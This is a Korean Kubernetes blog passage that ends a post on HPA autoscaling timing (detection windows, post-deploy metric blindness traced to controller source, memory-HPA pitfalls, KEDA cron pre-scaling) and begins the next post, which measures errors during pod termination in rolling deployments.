로컬 레지스트리라 네트워크 왕복이 없는, 압축 해제 비용 중심의 하한값이다. 실제 원격 레지스트리라면 여기에 다운로드 시간이 얹힌다. 스케일 아웃이 낯선 노드(방금 추가된 노드, 이미지가 밀려난 노드)에 파드를 놓는 순간 이 시간이 감지 창 뒤에 그대로 더해지고, 그 크기는 [2편](/2026/08/k8s-for-frontend-2)에서 잰 전송 크기에 비례한다. 이미지 감량이 오토스케일링의 속도 문제이기도 한 이유다.

정리하면 이렇다. 감지 창(15\~30초)은 HPA의 구조라 줄이기 어렵고, 기동(1\~2초)은 이미 짧으며, 억지로 몰아서 띄우면 오히려 손해를 본다. 개입할 자리는 결국 두 곳이다. 감지 창을 버틸 여유(minReplicas와 requests 사이징), 그리고 기동을 짧게 유지하는 준비(작은 이미지, 프리로드).

하나 더, 이 타임라인 앞에 훨씬 큰 시간이 붙을 수 있다는 것도 적어 둔다. 지금까지의 실험은 파드를 받아줄 노드가 항상 있었지만, 예비 실험에서 maxReplicas를 여유 없이 잡았을 때는 desired 11 중 2개가 Pending으로 굳는 것을 봤다. requests의 합이 노드가 수용할 수 있는 양을 넘은 것이다. [1편](/2026/08/k8s-for-frontend-1)에서 파드 스케일링과 노드 스케일링은 층이 다르다고 했는데, 이 상황이 그 경계다. Pending을 본 노드 오토스케일러(Cluster Autoscaler, Karpenter)가 노드를 새로 띄우는 데는 분 단위가 걸리고, 그 시간이 이 글의 모든 타임라인 앞에 그대로 더해진다. 단일 머신 kind에서는 재현할 수 없어 실측은 못 했지만, 감지 창 뒤에 붙는 가장 큰 변수라는 것은 적어 둘 필요가 있다. 파드 하나의 크기를 조절하는 VPA(Vertical Pod Autoscaler)라는 다른 축도 있는데, 이 시리즈의 범위 밖이라 이름만 남긴다.

## 오토스케일러가 반응을 멈춘 146.7초

이제 서두에 예고한 부검이다. 이 현상은 사실 계획에 없었다. 부하기의 보호 장치(유입 상한) 없이, 응답이 밀리든 말든 keep-alive 커넥션 위로 요청을 계속 쌓는 초기 실험에서 처음 만났다. 한계를 한참 넘긴 그 부하에서 HPA는 더 크게 반응하기는커녕 아예 반응을 멈췄다.

| 사건 (T0 = 한계 초과 부하 시작)                         | 시각 (실측)   |
| ------------------------------------------------------- | ------------- |
| p95가 10ms → 3.3초로 폭주 시작                          | +15초 이내    |
| 파드 3개 전부 NotReady (readiness probe 연쇄 타임아웃)  | 스파이크 초반 |
| HPA "did not receive metrics ... pods might be unready" | 반복 발생     |
| **desired 첫 변화 (3→7)**                               | **+146.7초**  |
| Ready 6개 복귀                                          | +172.4초      |
| 신규 파드 첫 트래픽                                     | +157\~180초   |
| p95 889ms까지 회복                                      | +225초        |

desired가 146.7초 동안 3에서 꼼짝하지 않았다. 그 사이 p95는 18.7초까지 치솟았고, 20,138요청 중 **27%가 실패**했다(TIMEOUT 5,255개가 대부분). 부하가 오토스케일러를 깨우기는커녕 재워 버린 것이다. 그 구간의 HPA 이벤트 원문이 사인을 그대로 말해 준다.

```text
$ kubectl describe hpa autoscale-lab   # 실명 구간의 이벤트 발췌
Warning  FailedGetResourceMetric       (x10 over 6m36s)  horizontal-pod-autoscaler
  failed to get cpu utilization: did not receive metrics for targeted pods
  (pods might be unready)
Warning  FailedComputeMetricsReplicas  (x10 over 6m36s)  horizontal-pod-autoscaler
  invalid metrics (1 invalid out of 1), first error is: failed to get cpu
  resource metric value: ...
```

사슬의 앞부분은 분명하다. 과부하로 응답 큐가 깊어지면, readiness probe의 요청도 같은 이벤트 루프에 줄을 선다. probe의 기본 타임아웃은 1초라, 앱이 멀쩡히 일하고 있어도 검사는 3연속 실패하고 파드는 NotReady가 된다([3편](/2026/08/k8s-for-frontend-3)의 탈락 타임라인 그대로다). 그리고 이벤트가 말하는 대로 HPA는 메트릭을 받지 못해 판단을 보류했다. 여기까지가 관찰이고, 남는 질문은 연결부다. NotReady가 되면 정말 메트릭에서 빠지는가? HPA 컨트롤러 소스로 내려가 봤다. 이벤트의 그 문장은 `pkg/controller/podautoscaler/replica_calculator.go`(v1.36.1)의 여기서 나온다.

```go
removeMetricsForPods(metrics, ignoredPods)
removeMetricsForPods(metrics, unreadyPods)

if len(metrics) == 0 {
  return 0, 0, fmt.Errorf("did not receive metrics for targeted pods (pods might be unready)")
}
```

unready로 분류된 파드의 메트릭을 표본에서 지우고, 남은 표본이 0이면 저 에러와 함께 판단을 보류한다. 그럼 무엇이 unready인가. 같은 파일의 `groupPods`가 CPU 메트릭에 대해 이렇게 가른다.

```go
if resource == v1.ResourceCPU {
  var unready bool
  _, condition := podutil.GetPodCondition(&pod.Status, v1.PodReady)
  if condition == nil || pod.Status.StartTime == nil {
    unready = true
  } else {
    if pod.Status.StartTime.Add(cpuInitializationPeriod).After(time.Now()) {
      unready = condition.Status == v1.ConditionFalse || metric.Timestamp.Before(condition.LastTransitionTime.Time.Add(metric.Window))
    } else {
      unready = condition.Status == v1.ConditionFalse && pod.Status.StartTime.Add(delayOfInitialReadinessStatus).After(condition.LastTransitionTime.Time)
    }
  }
  if unready {
    unreadyPods.Insert(pod.Name)
    continue
  }
}
```

읽어 보면 "NotReady면 뺀다"가 아니다. 조건이 두 갈래다. 기동 후 `cpuInitializationPeriod`가 지나지 않은 파드, 즉 **생긴 지 얼마 안 된 파드**는 NotReady면 빠지고, Ready여도 상태 전이 직후의 낡은 메트릭이면 빠진다. CPU 사용량에 기동 비용이 섞인 어린 파드를 판단에 넣지 않으려는 유예 장치고, 그 길이는 kube-controller-manager 플래그(`--horizontal-pod-autoscaler-cpu-initialization-period`)의 기본값으로 **5분**이다. 반면 유예가 끝난 파드는 "한 번도 Ready였던 적이 없는" 경우에만 빠진다. 다시 말해 **오래 돌던 파드는 과부하로 NotReady가 되어도 표본에 남는다.**

그럼 실측의 실명은 왜 일어났는가. 파드들의 나이에 답이 있었다. 매 회차 실측 전에 설정을 바꾸며 롤아웃을 했기 때문에, 스파이크 시점의 서빙 파드들은 전부 생후 2\~3분, 전원이 5분 유예 창 안이었다. 그리고 결정적으로, 실명이 풀린 시각이 회차마다 "서빙 파드 생성 + 5분"과 초 단위로 일치한다.

| 실명 회차                  | 서빙 파드 생성 | 생성 + 5분   | desired 첫 변화 (실측)       |
| -------------------------- | -------------- | ------------ | ---------------------------- |
| 최초 발견 (유입 상한 없음) | 08:04:01\~08   | 08:09:01\~08 | +146.7초 = 08:09:13          |
| 222rps, probe 3초          | 10:00:15       | 10:05:15     | +197.0초 = **10:05:15 정각** |
| 222rps, probe 1초          | 10:14:55\~56   | 10:19:55\~56 | +196.8초 = 10:20:01          |

동결의 길이는 부하의 깊이가 정한 것이 아니라, **파드들이 5분이 되기까지 남은 시간**이었다. 이 해석이 맞다면 5분을 넘긴 파드로는 같은 부하에서 실명이 없어야 한다. 그래서 마지막 검증으로, 같은 222rps를 같은 probe 설정에서 파드만 생후 63분으로 묵힌 뒤 다시 쐈다.

| 같은 222rps 스파이크 (probe timeout 3초) | 생후 \~2분 파드 (배포 직후) | 생후 63분 파드                   |
| ---------------------------------------- | --------------------------- | -------------------------------- |
| desired 첫 변화                          | **+197.0초** (생성+5분)     | **+26.8초** (정상 감지 창)       |
| 확장 전개                                | 부하 안에서는 3→6이 전부    | +26.8초 6, +41.7초 9, +72.1초 12 |
| 실패율                                   | 19.1% (7,342/38,399)        | **7.4%** (1,711/22,993)          |

늙은 파드들도 과부하 속에서 똑같이 NotReady를 오갔지만 표본에서 빠지지 않았고, HPA는 첫 감지 창이 끝나자마자 움직였다. 남은 실패 7.4%는 한계의 1.6배 부하라 12개까지 확장이 끝나는 +194초까지 큐가 깊었던 대가다. 확장이 살아 있어도 한계 초과의 첫 2분은 아프다. 다만 눈을 잃지는 않는다.

그러니 이 현상의 정확한 이름은 "과부하 실명"이 아니라 **"배포 직후의 실명"**이다. 롤아웃이 끝난 직후에는 전 파드가 5분 유예 창 안에 있고, 그 창에서 스파이크가 와 probe까지 무너지면 HPA는 표본 전체를 잃는다. 두 조건이 겹쳐야 하지만 드문 조합은 아니라고 생각한다. 트래픽 이벤트에 맞춰 직전에 배포하는 일은 흔하고, 그 배포가 만든 어린 파드들이 바로 그 이벤트의 첫 스파이크를 받기 때문이다. [4편](/2026/08/k8s-for-frontend-4)에서 liveness에 의존성을 걸면 장애가 재시작 폭풍이 된다고 했는데, 이것은 그 readiness 판이기도 하다. probe가 서빙과 같은 큐를 쓰는 한, 깊은 과부하는 트래픽 이탈과 오토스케일러 실명을 동시에 부른다. liveness였다면 여기에 재시작까지 겹쳤을 것이다.

그럼 probe는 어떤 부하에서 무너지는가. 유입 상한을 둔 개루프 부하로, 같은 배포 직후 조건에서 강도만 바꿔 경계를 찾아봤다.

| 개루프 스파이크 (배포 직후, probe timeout 기본 1초) | 143rps (한계 언저리) | 222rps (한계의 약 1.6배)         |
| --------------------------------------------------- | -------------------- | -------------------------------- |
| desired 첫 변화                                     | +32.2초 (정상 감지)  | **+196.8초** (파드 생성+5분에야) |
| p95 최악 구간                                       | 1.6초                | 5.6초                            |
| 실패율                                              | **0%** (0/30,064)    | **26.3%** (8,112/30,838)         |

한계의 기준은 실측이다. 이 앱은 요청 하나에 CPU 약 8.7ms를 쓰므로 파드 3개의 limit(1.2코어)으로는 초당 약 138요청이 상한이고, 143rps는 그 언저리, 222rps는 약 1.6배다. 143rps에서는 실명이 없었다. 파드들이 똑같이 5분 유예 창 안이었는데도, 큐가 1.6초까지만 밀려 probe가 버텼고(NotReady 판정에는 5초 간격 3연속 실패, 최소 십수 초가 필요하다), Ready를 유지한 파드의 메트릭은 유예 창 안에서도 표본에 남기 때문이다. 반면 222rps에서는 probe 1초가 무너져 전 파드가 표본에서 빠졌고, 5분 창이 끝날 때까지 실패가 26%까지 쌓였다. 즉 실명의 조건은 곱이다. **파드가 5분 유예 창 안일 것, 그리고 그 안에서 probe가 무너질 만큼 큐가 깊을 것.**

probe 쪽에 시간을 벌어 주는 처방으로 보이는 것이 timeoutSeconds 상향이다. readiness의 타임아웃을 1초에서 3초로 올리고 같은 222rps를 반복했다.

| 같은 222rps 스파이크 (배포 직후) | probe timeout 1초    | probe timeout 3초        |
| -------------------------------- | -------------------- | ------------------------ |
| desired 첫 변화                  | +196.8초             | +197.0초                 |
| p95 최악 구간                    | 5.6초                | 2.3초                    |
| 실패율                           | 26.3% (8,112/30,838) | **19.1%** (7,342/38,399) |

해동 시각은 1초든 3초든 각자 파드의 "생성+5분"으로 사실상 같았다. 타임아웃 상향이 바꾼 것은 실명의 길이가 아니라 그동안의 피해다. probe가 좀 더 버텨 Ready를 유지하는 구간이 길어진 만큼 트래픽 이탈이 줄었을 뿐(실패 26.3%→19.1%, p95 꼬리 5.6초→2.3초), 큐가 3초마저 넘겨 밀리는 부하에서 5분 창을 벗어나게 해 주지는 못한다. 더 근본적으로는 probe 응답이 서빙 큐를 우회하게 만들거나 유입 쪽의 백프레셔가 필요한데, 그 설계는 이 글의 범위를 넘는다.

덧붙여 둘 것이 하나 있다. probe 1초 회차에는 직전 회차에서 살아남은 생후 10분짜리 파드가 하나 섞여 있었다. 소스의 규칙대로라면 이 파드는 표본에 남아 실명을 막았어야 하는데, 동결은 그대로 지속됐다. 물리 4코어가 포화되면서 메트릭 수집 경로(kubelet 통계 → metrics-server) 자체가 이 파드의 표본을 놓친 것으로 보인다. 단일 머신 실험 환경의 특성이 섞인 결과라 그대로 일반화할 수는 없지만, 깊은 과부하가 판단 재료의 공급망까지 흔들 수 있다는 것은 적어 둔다.

여기서 가져갈 것은 진단 쪽이다. **스파이크 때 HPA가 안 움직였다면 desired가 아니라 `kubectl describe hpa`의 이벤트부터 볼 것.** "pods might be unready"가 찍혀 있다면 probe 설정과 함께 마지막 롤아웃 시각을 볼 것. 롤아웃이 5분 안이었다면 이 글의 재현과 같은 상태다.

## 쉬어가기: 주방장을 더 부르는 일

여기까지의 구조를 비유 하나로 정리해 둔다. 손님이 몰리는 식당에서 주방장을 더 부르는 일을 생각하면 된다.

| 식당                                                     | 오토스케일링                           |
| -------------------------------------------------------- | -------------------------------------- |
| 15분마다 홀을 둘러보는 매니저                            | 15초짜리 HPA 루프                      |
| "테이블 대비 주문이 많다"는 판단 기준                    | requests 대비 사용률과 목표치          |
| 대기 중인 주방장에게 전화하고 출근을 기다리는 시간       | 파드 기동 (이미지가 있으면 짧다)       |
| 새 주방장에게는 새로 앉은 테이블의 주문만 가는 것        | keep-alive 커넥션의 분배 고정 (3편)    |
| 갓 들어온 주방장은 5분간 실적 평가에서 빼 주는 수습 규칙 | 기동 후 5분의 메트릭 유예              |
| 전원이 갓 들어온 날 홀이 터져 평가표가 백지가 되는 것    | 배포 직후의 실명 (5분 창 × probe 붕괴) |
| 손님이 빠져도 30분은 두고 보다가 한 명씩 돌려보내기      | 스케일 다운 안정화 창 (300초)          |
| 예약 장부를 보고 회식 시간 전에 미리 불러두기            | KEDA cron 선제 확장                    |

비유에서 챙길 것은 두 가지다. 매니저의 순회 간격(감지 창)은 주방장의 출근 속도(기동)와 무관한 별개의 시계라는 것, 그리고 가장 확실한 대응은 몰릴 시간을 미리 아는 것(선제 확장)이라는 것이다.

## 내려올 때는 계단으로: 스케일 다운

부하가 빠진 뒤의 이야기도 스톱워치로 쟀다. 12개까지 확장된 상태에서 스파이크를 끊으면, 사용률은 즉시 목표 아래로 떨어지지만 replicas는 바로 내려오지 않는다.

| 사건 (T1 = 부하 제거) | 시각 (실측) |
| --------------------- | ----------- |
| 사용률 목표 아래로    | +15초 이내  |
| desired 12 유지       | **304초간** |
| desired 12 → 8        | +304초      |
| desired 8 → 3         | +319초      |

관측 로그의 해당 구간은 이렇다.

```text
+299s  hpa=[12 0]  deploy=[12 12]   # 사용률은 0%인데 desired는 아직 12
+305s  hpa=[8 0]   deploy=[8 8]     # 창이 밀리며 첫 계단
+320s  hpa=[3 0]   deploy=[3 3]     # 두 번째 계단, 파드 5개의 종료 시퀀스 시작
```

5분 넘게 12개가 그대로 있다가, 15초 간격의 계단 두 개로 3까지 내려왔다. 이것이 앞에서 말한 **안정화 창(기본 300초)**의 실물이다. HPA는 매 주기의 계산값을 버리지 않고 지난 300초 치를 들고 있다가, 축소 방향으로는 **그중 최댓값**만 적용한다. 창이 시간을 지나며 밀리면 창 안의 최댓값이 12 → 8 → 3으로 낮아지고, replicas가 그것을 계단처럼 따라간 것이 위의 기록이다. 스파이크가 출렁이는 트래픽에서 내렸다가 다시 올리는 왕복(그 사이 감지 창을 또 치르는)을 막는 장치라, 이 5분의 보수성은 비용이 아니라 보험으로 읽는 것이 맞다고 생각한다.

그리고 이때 내려가는 파드 9개는 [4편](/2026/08/k8s-for-frontend-4)의 종료 시퀀스를 그대로 탄다. SIGTERM과 라우팅 갱신의 경주, preStop의 3초, keep-alive 커넥션의 인질극까지 전부다. 스케일 다운이 잦은 서비스라면 4편의 처방들이 배포만이 아니라 평상시 오토스케일링에서도 매일 작동하고 있는 셈이다.

## 메모리로는 왜 안 되는가

HPA의 메트릭으로 CPU 대신 메모리를 쓰면 어떻게 되는가. Node.js에서는 이것이 함정이라는 것을 [사이징 글](/2026/08/nodejs-k8s-pod-sizing)의 V8 습성으로 예고해 뒀는데, 이번에 HPA와 붙여서 끝까지 재현했다. memory requests 128Mi인 Deployment(유휴 RSS 36Mi, 사용률 28%)에 메모리 40% 목표의 HPA를 걸고, 부하를 3분쯤 흘렸다 끊었다.

| 사건 (메모리 40% 목표, 2레플리카 시작) | 관찰 (실측)                                  |
| -------------------------------------- | -------------------------------------------- |
| 유휴 상태                              | 파드당 RSS 36Mi, 사용률 28%                  |
| 부하 유입 (약 3분)                     | RSS 71\~89Mi, 사용률 54%로 목표 초과         |
| 스케일 아웃                            | desired 2 → 3 → 5 → 7 → 8 (max 도달)         |
| **부하 제거 후 10분**                  | 부푼 파드 58\~64Mi 고착, 평균 사용률 39\~40% |
| 스케일 인                              | **없음. 8개 그대로** (관찰 종료까지)         |

관측 로그에서 세 장면만 뽑으면 이렇다.

```text
(부하 전)      hpa=[2 28]  mem=[36Mi 36Mi]
(부하 중)      hpa=[5 54]  mem=[85Mi 89Mi | 새 파드 36Mi]
(부하 후 10분) hpa=[8 40]  mem=[58~64Mi x4 | 새 파드 40~46Mi]
```

두 개의 메커니즘이 겹쳐 있다. 첫째는 V8이다. 부하로 한 번 부푼 힙과 RSS를 V8은 OS에 잘 돌려주지 않는다. [사이징 글](/2026/08/nodejs-k8s-pod-sizing)에서 실측한 습성 그대로, 부하를 겪은 파드들은 10분이 지나도 유휴값의 1.7배인 58\~64Mi에 머물렀다. 둘째는 평균의 희석이다. 확장으로 들어온 새 파드들은 부하를 겪지 않아 40Mi 안팎이고, 부푼 파드들과 섞인 평균 사용률이 39\~40%, 정확히 목표(40%)의 tolerance 띠 안에 앉는다. 내릴 근거도 올릴 근거도 없는 값이라 HPA는 8개를 그대로 유지한다. CPU는 일이 끝나면 0으로 돌아가는 소모량이지만 Node의 RSS는 한 번 오르면 잘 내려오지 않는 수위이고, 거기에 평균 희석까지 겹치면 스케일 인은 구조적으로 불발된다. **Node 서비스에서 메모리는 스케일링 신호가 아니라 OOM 방어선(limit)과 사이징의 재료로만 쓰는 것이 안전하다.**

## 시간을 아는 스케일링: KEDA

감지 창이 구조적 지연이라면, 예측 가능한 스파이크는 감지 자체를 건너뛸 수 있다. 출근 시간, 점심 피크, 방송 노출처럼 시각을 아는 트래픽이다. HPA에는 시간 개념이 없지만, [KEDA](https://keda.sh/)(Kubernetes Event-driven Autoscaler)를 얹으면 cron 트리거로 "이 시간대에는 미리 N개"를 선언할 수 있다. KEDA는 HPA를 대체하는 것이 아니라 HPA를 만들어 조종하는 층이라, cpu 트리거를 함께 걸면 예측 밖 부하는 기존 방식대로 받친다.

설정은 ScaledObject 하나다. 기존 HPA는 지우고(같은 대상을 두고 소유권이 겹친다), cron과 cpu 두 트리거를 나란히 건다.

```yaml
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: autoscale-lab
spec:
  scaleTargetRef:
    name: autoscale-lab
  minReplicaCount: 3
  maxReplicaCount: 12
  triggers:
    - type: cron # 몰릴 시간을 아는 트래픽: 창 안에서는 최소 9개
      metadata:
        timezone: Asia/Seoul
        start: 50 8 * * *
        end: 0 11 * * *
        desiredReplicas: '9'
    - type: cpu # 예측 밖 부하는 기존 방식대로
      metricType: Utilization
      metadata:
        value: '70'
```

143rps 스파이크(반응형 확장이 p95를 1.6초까지 흘려보냈던 바로 그 부하)를 cron 창 안, 미리 9개로 확장된 상태에서 다시 흘려 봤다.

| 같은 143rps 스파이크 | 반응형 (HPA, 3개에서 시작) | 선제 (KEDA cron, 9개에서 시작) |
| -------------------- | -------------------------- | ------------------------------ |
| 스케일 아웃 대기     | +32.2초 (감지 창)          | **0초 (이미 떠 있음)**         |
| p95 최악 구간        | 1.6초                      | **101ms** (내내 두 자릿수)     |
| 실패율               | 0% (0/30,064)              | **0%** (0/30,094)              |

이 부하에서는 반응형도 에러 없이 살아남았지만, 감지 창 동안의 p95 폭주가 통째로 사라졌다. 그리고 배포 직후의 222rps라면 반응형은 실명까지 간다는 것을 앞 절에서 봤다. 이 대조가 말하는 바는 분명하다. **가장 빠른 스케일 아웃은 스파이크가 오기 전에 끝난 스케일 아웃이다.** 덧붙이면, 밤 시간에 완전히 쉬어도 되는 배치성 워크로드라면 minReplicaCount 0과 cron 창의 조합으로 scale-to-zero까지 갈 수 있다(사용자 트래픽을 받는 HTTP 서비스는 0에서 깨울 요청 기반 장치가 따로 필요해서 별도 애드온의 영역이다). 물론 선제 확장은 시각을 모르는 스파이크에는 통하지 않는 방법이고, 그때 돌아갈 곳은 다시 감지 창을 버틸 여유, 즉 minReplicas와 requests다.

## 스파이크가 오기 전에 점검할 다섯 가지

이 글의 실측을 각자의 서비스에 물어볼 수 있는 형태로 추린다.

**1. HPA의 분모(requests)는 실측 기반인가?**

```bash
kubectl get hpa -o custom-columns=NAME:.metadata.name,TARGET:.spec.metrics[0].resource.target.averageUtilization
kubectl get deploy my-app -o jsonpath='{.spec.template.spec.containers[0].resources.requests}'
```

사용률의 분모가 requests다. requests가 복사된 값이면 70%라는 목표도 복사된 목표다. 정하는 방법은 [사이징 글](/2026/08/nodejs-k8s-pod-sizing) 전체가 다룬다.

**2. 감지 창을 버틸 여유가 있는가?**

스파이크 도달 전 15\~30초를 기존 파드가 버텨야 한다. minReplicas × (requests 대비 여유)가 그 버퍼다. 평시 사용률이 이미 60\~70%라면 감지 창 동안 갈 곳이 없다.

**3. 과부하에서 probe는 살아남는가?**

```bash
kubectl describe hpa my-app | grep -A3 "unready\|invalid metrics"
```

부하 테스트 중 이 로그가 찍히면 실명 시나리오가 재현된 것이다. probe timeoutSeconds, probe 경로가 서빙 큐와 얼마나 얽혀 있는지, 그리고 마지막 롤아웃이 5분 안이었는지를 본다. 배포 직후는 전 파드가 메트릭 유예 창 안이라 실명에 가장 취약한 시간이다.

**4. 스케일 아웃될 노드에 이미지가 있는가?**

```bash
kubectl get events --sort-by=.metadata.creationTimestamp | grep -i "pulling\|pulled"
```

확장 때마다 실제 다운로드가 찍히면, 감지 창 뒤에 풀 시간이 더해지고 있는 것이다. 이미지 크기([2편](/2026/08/k8s-for-frontend-2))와 프리풀 전략을 검토한다.

**5. 메모리 기반 HPA를 Node 서비스에 걸어 두지 않았는가?**

걸려 있다면 스케일 인이 되는지 그래프로 확인해 볼 것. 부하가 빠져도 replicas가 안 내려온다면 이 글의 재현과 같은 상태다.

## 정리: 시간의 내역서

- **스파이크에서 첫 요청까지 31.5초, 그 지배항은 감지 창(22.5초)이다.** 스크레이프 15초와 판단 15초의 위상이 만드는 구조적 지연이라 설정으로는 줄이기 어렵다. 기동(1\~2초)은 이미 짧고, Ready 후 첫 트래픽까지의 9초는 keep-alive 분배([3편](/2026/08/k8s-for-frontend-3))의 몫이다.
- **개입은 양끝에서만 통한다.** 미리 띄우기(minReplicas)는 한계 상황의 보험이고, 몰아서 띄우기(behavior)는 공식과 새 파드의 메트릭 공백이 만드는 계단(3→5→7→10→12)에 막혀 빨라지지 않은 채 기동 경합의 역효과만 났으며, 이미지 준비(크기·프리로드)는 콜드 노드의 7.7초(naive)와 0.23초(standalone)를 가른다.
- **배포 직후 5분, 과부하는 오토스케일러의 눈을 가린다.** HPA는 기동 후 5분(cpuInitializationPeriod) 안의 NotReady 파드를 표본에서 빼는데, 롤아웃 직후의 스파이크로 probe가 무너지면 표본 전체가 사라진다. 실측한 동결(146.7초, 197초)은 전부 "파드 생성+5분"에 풀렸고, 파드를 63분 묵혀 다시 쏘자 같은 222rps에서 +26.8초에 정상 확장했다(실패 26.3%→7.4%). probe 타임아웃 상향(1→3초)은 해동을 앞당기지 못하고 그동안의 피해만 줄인다(실패 26.3%→19.1%). 진단은 describe hpa의 "pods might be unready"와 마지막 롤아웃 시각부터.
- **스케일 다운은 304초의 계단이다.** 안정화 창 300초가 품고 있는 최댓값이 12→8→3 계단을 만들었고, 내려가는 파드는 [4편](/2026/08/k8s-for-frontend-4)의 종료 시퀀스를 탄다.
- **메모리는 Node에서 스케일링 신호가 못 된다.** 부하 3분에 2→8까지 늘어난 파드가, V8이 반납하지 않는 RSS와 새 파드의 평균 희석 때문에 부하가 빠진 뒤에도 8개로 고착됐다.
- **시각을 아는 스파이크는 감지를 건너뛴다.** 반응형 확장이 p95를 1.6초까지 흘렸던 143rps 스파이크를, KEDA cron 선제 확장은 p95 최악 101ms로 받아냈다.

이번 편으로 무리의 크기가 정해지는 시간을 쟀다. 시리즈의 다음이자 마지막 조각은 그 무리를 이루는 **파드 하나를 얼마로 빚는가**다. requests와 limits, NODE_OPTIONS와 힙, 그리고 그것이 청구서가 되는 과정까지, [Node.js 파드 사이징 글](/2026/08/nodejs-k8s-pod-sizing)이 이 시리즈의 종착점으로 그 답을 맡는다.

---

Source: https://yceffort.kr/2026/08/k8s-for-frontend-4.md
Title: 파드는 어떻게 <em>종료</em>되는가: 배포 중 에러의 원인과 해결을 실측한 기록
Description: 코드를 한 줄도 바꾸지 않은 배포에서도 에러는 샌다. 롤링 배포 중 새는 실패를 유형과 시각까지 태깅해 원인 네 가지를 부검하고, 처방을 한 층씩 얹어 0으로 만들기까지의 실측 기록이다. Next.js의 종료 코드 원문과 인질 드레인, CrashLoopBackOff의 실제 시간표까지. 프론트엔드 개발자를 위한 쿠버네티스 시리즈의 네 번째 편이다.
Date: 2026-08-08
Tags: kubernetes, nextjs, nodejs, frontend, devops
Series: 프론트엔드 개발자가 알아야 할 쿠버네티스

## Table of Contents

## 아무것도 바꾸지 않았는데 에러가 난다

배포 때마다 에러율 그래프가 튀는 서비스에서 흔히 나오는 첫 질문은 "이번에 뭐가 바뀌었지"다. 그래서 이번 실험은 그 질문을 원천 차단하는 데서 시작했다. 코드도 이미지도 설정도 그대로 두고, 파드만 갈아 끼우는 `kubectl rollout restart`를 상시 트래픽 아래에서 반복한 것이다. 배포 산출물이 동일하니 에러가 난다면 코드의 죄는 아니다.

결과부터 적으면, [3편](/2026/08/k8s-for-frontend-3)까지 쓰던 앱 그대로에 그레이스풀 셧다운까지 멀쩡히 내장된 구성인데도 매번 에러가 났다. 120ms 간격으로 요청을 흘리는 클라이언트 두 개(요청마다 새 커넥션을 여는 쪽과 keep-alive를 재사용하는 쪽)를 두고 배포를 반복하면, 회당 표본 약 370개 중 새 커넥션 쪽에서 ECONNREFUSED가 적게는 1개에서 많게는 4개, keep-alive 쪽에서 ECONNRESET이 3개씩 나온다. 수는 적어 보여도 유형과 시각이 이상할 만큼 일정하다. REFUSED는 배포 직후 1초에서 3초 사이에, RESET은 배포 후 30초를 갓 넘긴 시각에 몰린다.

3편의 마지막에 남겨 둔 질문이 이것이었다. 살아 있는 파드의 readiness 전환은 826개 요청에 에러 0개로 우아하게 끝났는데, 죽을 때도 그러리라는 보장은 없다고 적었다. 실제로 보장이 없었다. 이 글은 그 에러들을 부검한 기록이다. 용의자는 넷이다. 신호를 중간에서 삼키는 PID 1, SIGTERM에 즉사한다고 알려진 Next.js, 죽음을 뒤늦게 아는 라우팅, 그리고 죽은 파드와의 커넥션을 쥐고 놓지 않는 클라이언트. 미리 말해 두면 이 중 하나는 무죄로 판명되고, 대신 통설이 가리키지 않던 범인이 하나 나온다. 부검이 끝나면 처방을 한 층씩 얹어 실패 카운트가 계단처럼 줄어 0에 닿는 것까지 확인한다.

이 글은 "프론트엔드 개발자가 알아야 할 쿠버네티스" 시리즈의 네 번째 편이다. 용어가 낯설면 [1편의 개념 지도](/2026/08/k8s-for-frontend-1)를, 파드와 컨테이너의 실체는 [2편](/2026/08/k8s-for-frontend-2)을, 트래픽 경로와 conntrack은 [3편](/2026/08/k8s-for-frontend-3)을 먼저 읽는 것을 권한다.

> 측정 환경: Apple M5 macOS 위의 colima VM(4 CPU/8GB), kind v0.32.0(kindest/node v1.36.1, Kubernetes v1.36.1), kube-proxy는 iptables 모드, 앱은 Next.js 16.2.12 standalone(node:24-slim, Node v24.19.0)으로 3편과 같다. 이번 편의 실험용 Deployment는 3레플리카에 readiness probe 5초 간격, 페이지 응답에 RESPONSE_DELAY_MS=400ms를 주입해 종료 시점에 in-flight 요청이 걸쳐 있게 했다. 실패 계수에 대한 정의 하나를 서두에 두어야 한다. 클러스터 안에서 직접 재는 실패는 HTTP 5xx가 아니라 소켓 오류(ECONNREFUSED, ECONNRESET)로 관측된다. 실무 대시보드에서 이것이 5xx로 보이는 것은 앞단의 로드밸런서나 게이트웨이가 업스트림 오류를 502/504로 번역하기 때문이다. 측정 스크립트와 raw 로그는 별도 보관했다.

## 검안: 파드가 죽는 동안 일어나는 일들

부검의 첫 단계는 시신의 상태를 있는 그대로 기록하는 것이다. 상시 트래픽 아래에서 파드 하나를 `kubectl delete pod`로 내리면서, 3편에서 쓴 도구들로 각 층을 약 0.2초 간격(150ms 대기에 명령 실행 시간이 더해진, 3편과 같은 실측 간격)으로 관찰했다. EndpointSlice의 조건, 노드의 KUBE-SEP 규칙(DNAT 대상), 실트래픽의 향방, 그리고 컨테이너의 최종 상태다.

| 사건 (T0 = delete 발행)                                                | 시각 (실측)       |
| ---------------------------------------------------------------------- | ----------------- |
| 해당 파드로의 마지막 실트래픽                                          | +0.12초           |
| 노드의 KUBE-SEP 규칙(DNAT 대상) 소멸                                   | +0.19초           |
| EndpointSlice 조건 전환: `ready=false, serving=true, terminating=true` | +0.20초           |
| 컨테이너 종료 관찰, exit code **143**                                  | +0.75초 이내      |
| 파드 오브젝트 소멸                                                     | +1.6초            |
| 이 종료가 만든 트래픽 에러                                             | **0개** (이 회차) |

주의 깊게 봐야 할 것은 이 회차의 조건이다. 트래픽이 요청마다 새 커넥션을 여는 클라이언트뿐이었고, 그 조건에서 파드 하나의 죽음은 1.6초 만에 에러 없이 끝났다. 신호를 받고(SIGTERM), 드레인하고(143), 명단과 규칙이 0.2초 안에 정리됐다. 이것만 보면 종료는 아무 문제가 없어 보인다. 인트로의 에러들은 이 표에 keep-alive 클라이언트와 3레플리카 동시 교체라는 현실의 조건이 얹힐 때 나타나는데, 그 이야기는 사인들을 하나씩 짚을 때 다시 나온다.

